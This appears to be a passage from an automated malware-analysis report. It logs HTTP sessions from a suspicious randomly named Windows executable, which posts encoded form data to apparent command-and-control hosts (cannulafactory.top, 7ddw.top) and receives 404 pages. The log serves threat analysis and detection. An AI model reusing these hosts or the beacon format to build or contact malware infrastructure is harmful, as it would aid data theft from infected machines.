"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #900; color: #fff; font-weight: normal; [TRUNCATED]
Aug 27, 2024 07:59:58.889676094 CEST	1289	IN	Data Raw: 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 Data Ascii: h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #900; font-size: 1.1em;
Aug 27, 2024 07:59:58.889725924 CEST	1289	IN	Data Raw: 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 57 65 62 73 69 74 65 20 41 Data Ascii: is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpage on your website. This
Aug 27, 2024 07:59:58.889777899 CEST	277	IN	Data Raw: 3d 22 33 32 22 20 2f 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 65 64 68 61 74 2e 63 6f 6d 2f 22 3e 3c 69 6d 67 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ="32" /></a> <a href="http://www.redhat.com/"><img src="poweredby.png" alt="[ Powered by Red Hat Enterprise Linux ]" width="88" height="31" /></a> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49868	18.183.3.45	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:01.421161890 CEST	1289	OUT	POST /y82c/ HTTP/1.1 Host: www.cannulafactory.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cannulafactory.top Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.cannulafactory.top/y82c/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 68 4a 4b 35 59 31 70 36 7a 72 79 63 63 6d 54 56 78 49 4d 77 79 6b 72 44 31 72 7a 51 47 46 65 66 51 4c 6c 67 38 2f 69 6f 2b 79 55 6b 56 6a 6e 55 61 56 78 4b 6b 50 77 32 4e 7a 33 6d 56 38 65 38 55 2b 74 4c 43 30 4a 38 68 42 58 57 4d 4c 4f 61 6e 56 45 50 46 35 39 5a 2f 42 51 35 6e 31 59 65 4d 48 30 67 51 33 49 6c 47 78 39 58 39 53 6e 58 53 50 4f 75 39 4e 50 32 6d 30 56 43 46 6d 73 74 62 57 71 4f 58 4a 2b 52 30 6d 67 38 55 4a 48 71 41 52 4f 63 48 71 57 51 6e 4b 4a 68 62 31 46 4c 55 7a 45 54 76 51 6f 4e 78 30 54 2f 58 66 4d 35 4e 37 74 6d 78 33 72 6e 30 59 38 47 76 32 2f 78 5a 45 30 33 34 4f 4f 4a 7a 61 6f 6a 4f 75 4a 4b 52 69 76 45 36 63 4b 32 51 52 57 67 65 35 4f 53 70 43 30 6f 57 5a 30 4a 38 57 62 68 48 39 63 6c 31 51 63 61 48 69 64 49 2f 30 41 30 4d 32 43 71 66 50 6d 4b 31 50 44 51 34 45 64 36 45 30 50 37 4c 6b 36 72 57 7a 57 4e 75 31 47 51 6c 6b 49 41 68 75 70 4d 74 34 77 73 2b 53 53 6c 73 52 6a 4b 4d 66 4d 4c 71 44 68 75 72 71 70 64 61 73 6f 4c 34 46 50 49 49 64 61 68 51 34 [TRUNCATED] Data Ascii: ij60MtY=hJK5Y1p6zryccmTVxIMwykrD1rzQGFefQLlg8/io+yUkVjnUaVxKkPw2Nz3mV8e8U+tLC0J8hBXWMLOanVEPF59Z/BQ5n1YeMH0gQ3IlGx9X9SnXSPOu9NP2m0VCFmstbWqOXJ+R0mg8UJHqAROcHqWQnKJhb1FLUzETvQoNx0T/XfM5N7tmx3rn0Y8Gv2/xZE034OOJzaojOuJKRivE6cK2QRWge5OSpC0oWZ0J8WbhH9cl1QcaHidI/0A0M2CqfPmK1PDQ4Ed6E0P7Lk6rWzWNu1GQlkIAhupMt4ws+SSlsRjKMfMLqDhurqpdasoL4FPIIdahQ4fLNOxRw6/LkWBkuuE16M3VPhO2X7P9GKxCInBi5laqL6bg79qVHi2IudP/8wJjj8IBuf8qm914HMSn5KovaiTWd+/2mTvJ1qmho5zlO1ZMgAQpdqr6KKjfP7cYZSxTiVFMJz5osv7j4iYXVH0jy3iKjhBYLewIVa1qrEqXK7Tis8hntsZWd+qIWSQaBfKakAb5zS+cbzYfHSQT37mxDZ0A0pFOON7CBWWIyjj/Z/8jY0IHbSuYgR6nYBYWb3WSh6S3xSl4fZwirobYWNDnZmKUjztnA3084QMiVfwPypxn0YdaEWx+OHrSJWrkFFz7DeM
Aug 27, 2024 08:00:01.421211004 CEST	3867	OUT	Data Raw: 4c 64 75 66 2b 44 6d 32 51 71 35 53 51 71 6d 44 6c 49 52 77 75 31 4d 4a 46 4b 58 38 57 75 2b 47 6d 63 76 34 6e 32 54 59 41 37 71 71 37 43 77 78 36 4a 30 59 72 30 66 56 73 32 6e 69 4f 38 70 33 79 6a 76 76 55 39 4d 56 74 38 67 64 77 58 6a 62 71 6b Data Ascii: Lduf+Dm2Qq5SQqmDlIRwu1MJFKX8Wu+Gmcv4n2TYA7qq7Cwx6J0Yr0fVs2niO8p3yjvvU9MVt8gdwXjbqkGeEyR5iJVNxt7SL/9Y+qIS6O4wtQ2yo5pzJcHzpnkBzuqGE3id7+5Bdoce1OKcv4Lbjxa8g9nS1NGGTRjupr67kEIsjE+AlXzLOvTEJ5a3CumaeTz7RPFS0ufHJ1pOMkCdJpSTt6/3IZTF4mr5nYfakkwfbseWZ7q
Aug 27, 2024 08:00:01.421263933 CEST	7734	OUT	Data Raw: 76 46 2f 43 45 51 77 5a 6b 70 52 53 37 72 2b 48 6b 36 62 52 33 30 6f 65 47 42 78 47 77 73 62 59 46 2f 6c 6d 63 37 38 54 76 69 73 72 50 52 45 77 4d 6d 63 36 77 42 55 6f 64 6d 74 6b 38 2b 74 4d 6b 35 6f 33 30 48 66 38 44 36 68 31 63 51 5a 57 49 6d Data Ascii: vF/CEQwZkpRS7r+Hk6bR30oeGBxGwsbYF/lmc78TvisrPREwMmc6wBUodmtk8+tMk5o30Hf8D6h1cQZWImp0mmxL6qES/Z5gfAfmzN4Vie4Om1w0Jn4e6WId9Vu2cbnRmq4dd/zCqG+coZPbOqs1ZgknNe6Ik5udq2g1AXasSGLdp4eQlarHG8zfgGnKH4PPhTAJ0Tb5c+x/hAedUUQKsM1OyWTBu5Sehxw3yarZms9+eszroQV
Aug 27, 2024 08:00:01.684344053 CEST	2578	OUT	Data Raw: 61 4d 4a 4a 65 51 4f 65 4f 54 44 47 75 32 55 34 31 36 7a 32 6d 35 78 58 42 61 6b 73 72 4c 39 4d 33 46 70 30 5a 5a 30 6f 58 67 71 79 75 36 76 58 2b 62 55 74 53 53 70 4c 41 64 64 63 6a 6c 62 69 4b 42 49 50 69 2f 61 32 47 59 4c 38 6b 69 30 6d 57 58 Data Ascii: aMJJeQOeOTDGu2U416z2m5xXBaksrL9M3Fp0ZZ0oXgqyu6vX+bUtSSpLAddcjlbiKBIPi/a2GYL8ki0mWX5RIhWQRqVso5OgtenowXxjAXQgTUfjU2FLxN0FmyX+gkjnu63ZH45vUhTLCdY0/fAlHJYVk0VSxs25chTrjaPEEjUoDzmgdPJ5LjCoBvDr1QZGof7S24u1/bq0AfFKZemK/3HHgq2GplG2gmy0woquJXlEP/USKsV
Aug 27, 2024 08:00:01.684438944 CEST	3867	OUT	Data Raw: 68 4e 51 39 46 72 47 33 4a 35 67 2b 2b 2f 66 48 37 49 36 61 53 70 2f 77 31 2b 65 31 51 79 74 46 6d 77 70 6d 57 57 73 66 6c 6d 31 43 4e 45 38 53 62 63 77 68 43 39 51 6f 69 49 4f 73 50 6a 79 45 66 39 48 6f 48 34 52 47 35 64 70 48 49 2f 31 53 4b 6a Data Ascii: hNQ9FrG3J5g++/fH7I6aSp/w1+e1QytFmwpmWWsflm1CNE8SbcwhC9QoiIOsPjyEf9HoH4RG5dpHI/1SKjVvVYTyxm8Kz4T8/XTzmfTgrmLMvOPzN4074gK5jvrred9iddnreEdSEvv6AreJ6Vx/Q2ABaHMLDoEvZzCkWLOYdtacKM1kcrYE7+BJmWH1ltlvkuUWyeFF6lbdbim1DT3tWn56C57kunhi+OS89ttO90w62vzl/ir
Aug 27, 2024 08:00:01.684490919 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 27 Aug 2024 06:00:01 GMT Content-Type: text/html Content-Length: 3971 Connection: close ETag: "6526681e-f83" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #900; color: #fff; font-weight: normal; [TRUNCATED]
Aug 27, 2024 08:00:01.684612036 CEST	11601	OUT	Data Raw: 56 50 32 4c 75 44 4d 78 41 41 59 43 5a 7a 32 65 52 76 70 79 39 37 6b 72 56 66 2f 7a 76 2b 37 73 63 54 37 32 72 32 31 56 31 54 66 62 37 32 43 78 36 4a 47 6c 72 32 45 45 34 61 43 74 52 6b 75 4a 6c 35 37 76 36 67 6d 72 5a 75 2f 76 6a 71 48 42 69 66 Data Ascii: VP2LuDMxAAYCZz2eRvpy97krVf/zv+7scT72r21V1Tfb72Cx6JGlr2EE4aCtRkuJl57v6gmrZu/vjqHBif9c6rZDJFyDhGtwiI+E49TwKK2h228qcdJ+dY11eIJssp/aCSi4mVzRNnd12orsG0UfHGIltun5bNnotoHWzef0F7nvdXCbBWdVWXGNUTjJ6MXlDWKlFAZQaYYNjnGSqlGp7dtHPGZXWzAhC2h9/Z5K48lIhl0WFVX
Aug 27, 2024 08:00:01.684644938 CEST	1289	IN	Data Raw: 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 Data Ascii: h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #900; font-size: 1.1em;
Aug 27, 2024 08:00:01.684659004 CEST	1289	IN	Data Raw: 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 57 65 62 73 69 74 65 20 41 Data Ascii: is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpage on your website. This
Aug 27, 2024 08:00:01.684948921 CEST	5156	OUT	Data Raw: 41 7a 4a 30 4b 75 39 6b 2b 72 54 33 52 31 62 42 57 6d 53 76 67 44 49 43 4c 39 49 71 59 44 6d 56 59 53 46 35 32 33 38 4e 48 38 66 71 33 55 78 73 54 62 55 6c 31 46 70 6c 77 58 51 4b 38 76 32 52 61 66 6d 4c 74 35 4a 43 6b 61 54 63 4a 68 44 4a 56 64 Data Ascii: AzJ0Ku9k+rT3R1bBWmSvgDICL9IqYDmVYSF5238NH8fq3UxsTbUl1FplwXQK8v2RafmLt5JCkaTcJhDJVdMJX1Ke9mVK4f4ZZzFhgGJHlCjIwg22oKM2UIwx2jWDPVsY7C2lkZrclZqneXMSyGt3lJ1ZGlsUWb67OqOXJb2Mz02WpneR8z4O8IfsDBNxnokqwu0UwYMixW+l+e6WyKiPlBkzTNaSaFlcdDGo2ik4Sa7fDdEj7C3
Aug 27, 2024 08:00:01.724869013 CEST	2578	OUT	Data Raw: 36 58 35 4e 53 32 4f 52 44 33 4b 2b 75 62 6e 30 56 72 39 32 57 37 32 6e 53 59 69 36 69 4b 61 41 7a 44 36 74 69 77 49 74 51 57 43 6d 31 46 32 35 79 56 4e 39 4e 79 62 63 6c 2f 4b 47 4e 68 63 32 78 4b 74 38 45 65 6f 39 54 6d 61 67 47 53 59 69 42 6f Data Ascii: 6X5NS2ORD3K+ubn0Vr92W72nSYi6iKaAzD6tiwItQWCm1F25yVN9Nybcl/KGNhc2xKt8Eeo9TmagGSYiBotsLZ4cErm8w18e/jZoaUXote2QlIUmSqe6B58RZthanJPCE4jLnXN1Oeb6P+NCHNr14VpU0qxhqsYdJ5sla2Y0JWl5jcHNF9B1pHTZxu/Pl1E8zMwssfjRX+5U1w2iAX0jD6kh2KYZnQG9eYE178Ldvfnt4RpKvhm
Aug 27, 2024 08:00:01.947644949 CEST	1289	OUT	Data Raw: 6f 72 66 65 53 39 64 41 41 33 7a 35 63 39 38 75 62 51 47 79 7a 36 78 66 44 42 70 59 6a 52 6d 45 6a 56 72 64 63 45 68 66 39 34 73 5a 78 64 59 6b 6b 71 52 51 4d 32 51 6e 72 69 75 71 6c 4e 7a 51 44 50 6b 7a 71 6a 79 30 65 76 7a 46 37 5a 6e 35 31 73 Data Ascii: orfeS9dAA3z5c98ubQGyz6xfDBpYjRmEjVrdcEhf94sZxdYkkqRQM2QnriuqlNzQDPkzqjy0evzF7Zn51sEuypFCdJ2XUzkMHAbI99IkeieeULG4Rpoi5YTJ2A/EFPSFk3dmE1SjFt0ZMiYKXHPxVNkhyS5kpTWaMhaKSRq7lyaZmuOJVERizTlmRzeDYzqDZUlbpkCMowkd0LOUlvoc1RyVBDwlBPhTm7gdQe9DgWFYPTaJKcS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49869	18.183.3.45	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:04.218980074 CEST	552	OUT	GET /y82c/?wXB=brv4Erb&ij60MtY=sLiZbFdk0bb3LADauL00iEPz4ezLfDKRfqlDl/6kvE4DPkuqbR8aqfEySQ7vKfLRZ5tGFHhzrS3SF8murk9fEOV453YSzWktCGZAKUV3HiBT9SXvdO/vw9M= HTTP/1.1 Host: www.cannulafactory.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:00:04.485450029 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 27 Aug 2024 06:00:04 GMT Content-Type: text/html Content-Length: 3971 Connection: close ETag: "6526681e-f83" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #900; color: #fff; font-weight: normal; [TRUNCATED]
Aug 27, 2024 08:00:04.485575914 CEST	1289	IN	Data Raw: 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 Data Ascii: h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #900; font-size: 1.1em;
Aug 27, 2024 08:00:04.485625982 CEST	1289	IN	Data Raw: 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 57 65 62 73 69 74 65 20 41 Data Ascii: is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpage on your website. This
Aug 27, 2024 08:00:04.485639095 CEST	277	IN	Data Raw: 3d 22 33 32 22 20 2f 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 65 64 68 61 74 2e 63 6f 6d 2f 22 3e 3c 69 6d 67 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ="32" /></a> <a href="http://www.redhat.com/"><img src="poweredby.png" alt="[ Powered by Red Hat Enterprise Linux ]" width="88" height="31" /></a> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49870	154.23.184.207	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:09.928021908 CEST	802	OUT	POST /pcjw/ HTTP/1.1 Host: www.7ddw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.7ddw.top Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.7ddw.top/pcjw/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 70 4e 61 6f 64 77 74 6b 31 79 6a 4c 73 54 74 53 38 42 30 4a 43 75 56 68 54 54 38 4c 79 75 42 4c 2b 4c 32 51 75 46 31 69 64 77 4d 68 31 57 57 54 70 7a 5a 49 59 64 68 77 41 46 67 66 43 34 76 73 63 6d 63 59 59 65 7a 78 6b 79 4f 6b 76 32 6a 6d 53 77 6d 41 6b 4a 37 2b 44 52 38 41 59 38 6c 2f 6f 65 49 2f 4e 56 62 35 34 69 50 43 37 79 6e 48 2f 78 41 47 48 49 56 46 74 61 6e 49 48 56 39 6e 46 50 4c 45 34 71 44 30 6a 42 65 7a 69 32 45 68 51 69 46 31 46 36 4f 6a 7a 38 42 30 74 37 50 46 50 7a 75 45 4d 43 4e 57 53 65 39 37 59 69 68 53 55 75 54 59 7a 7a 78 31 35 46 5a 37 67 5a 45 47 67 3d 3d Data Ascii: ij60MtY=FpNaodwtk1yjLsTtS8B0JCuVhTT8LyuBL+L2QuF1idwMh1WWTpzZIYdhwAFgfC4vscmcYYezxkyOkv2jmSwmAkJ7+DR8AY8l/oeI/NVb54iPC7ynH/xAGHIVFtanIHV9nFPLE4qD0jBezi2EhQiF1F6Ojz8B0t7PFPzuEMCNWSe97YihSUuTYzzx15FZ7gZEGg==
Aug 27, 2024 08:00:10.236835957 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:00:10 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a62378-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49871	154.23.184.207	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:12.768650055 CEST	1142	OUT	POST /pcjw/ HTTP/1.1 Host: www.7ddw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.7ddw.top Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.7ddw.top/pcjw/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 70 4e 61 6f 64 77 74 6b 31 79 6a 4e 4e 6a 74 56 66 35 30 46 79 75 53 6b 54 54 38 65 43 75 4e 4c 2b 48 32 51 76 78 6c 68 75 55 4d 69 51 36 57 55 74 6e 5a 42 49 64 68 6f 51 46 6c 41 79 34 6d 73 63 71 2b 59 61 61 7a 78 6c 53 4f 6b 63 2b 6a 69 53 77 70 55 30 4a 30 70 7a 52 2f 45 59 38 56 2f 6f 62 62 2f 4d 42 62 36 49 4f 50 4d 65 6d 6e 51 36 4e 48 43 6e 49 58 52 64 61 6b 52 58 56 2f 6e 46 44 44 45 34 54 34 7a 53 46 65 7a 43 57 45 7a 67 69 47 73 46 36 4a 37 7a 39 68 6b 76 61 2f 49 63 44 54 4d 38 75 72 55 33 4f 55 33 70 43 47 4c 6d 75 33 42 77 75 42 35 37 67 4c 79 69 34 66 56 76 57 34 77 62 73 4f 78 48 65 4a 41 6e 57 64 58 34 4f 33 71 4c 58 4a 2b 4f 36 6a 74 62 63 2b 62 71 6b 4a 41 67 4d 41 45 62 4c 61 6a 52 4b 48 63 2b 58 59 2b 54 57 49 39 53 31 68 39 61 70 66 7a 57 51 54 69 39 6f 48 79 34 72 77 64 2b 48 4e 63 50 6c 31 42 59 51 48 68 4f 74 47 7a 4f 67 73 46 66 30 6a 6b 46 7a 65 56 6c 2f 32 6b 50 31 70 7a 64 6a 41 7a 4d 58 43 46 4b 6e 37 64 4b 7a 71 50 6a 54 55 77 46 41 44 50 63 [TRUNCATED] Data Ascii: ij60MtY=FpNaodwtk1yjNNjtVf50FyuSkTT8eCuNL+H2QvxlhuUMiQ6WUtnZBIdhoQFlAy4mscq+YaazxlSOkc+jiSwpU0J0pzR/EY8V/obb/MBb6IOPMemnQ6NHCnIXRdakRXV/nFDDE4T4zSFezCWEzgiGsF6J7z9hkva/IcDTM8urU3OU3pCGLmu3BwuB57gLyi4fVvW4wbsOxHeJAnWdX4O3qLXJ+O6jtbc+bqkJAgMAEbLajRKHc+XY+TWI9S1h9apfzWQTi9oHy4rwd+HNcPl1BYQHhOtGzOgsFf0jkFzeVl/2kP1pzdjAzMXCFKn7dKzqPjTUwFADPclK2hxCybaHodRUVRAcyLVcC5oV/JMunGco0HNo8BXttaQauxw8ss2Pohtyxv+q1sEdQyUtrLqxN6ElFQJa0SHOcN8mWucZdCEEbBIxtYipwHiGYiW/8JFW3DdYrQLuqxS1F4+JFylvDg379RN9zEYZAiGGTBasho54U1kauWV6i0c4HaXEWgCGmIzZ8m3WDfzQ218k3LVBY8A=
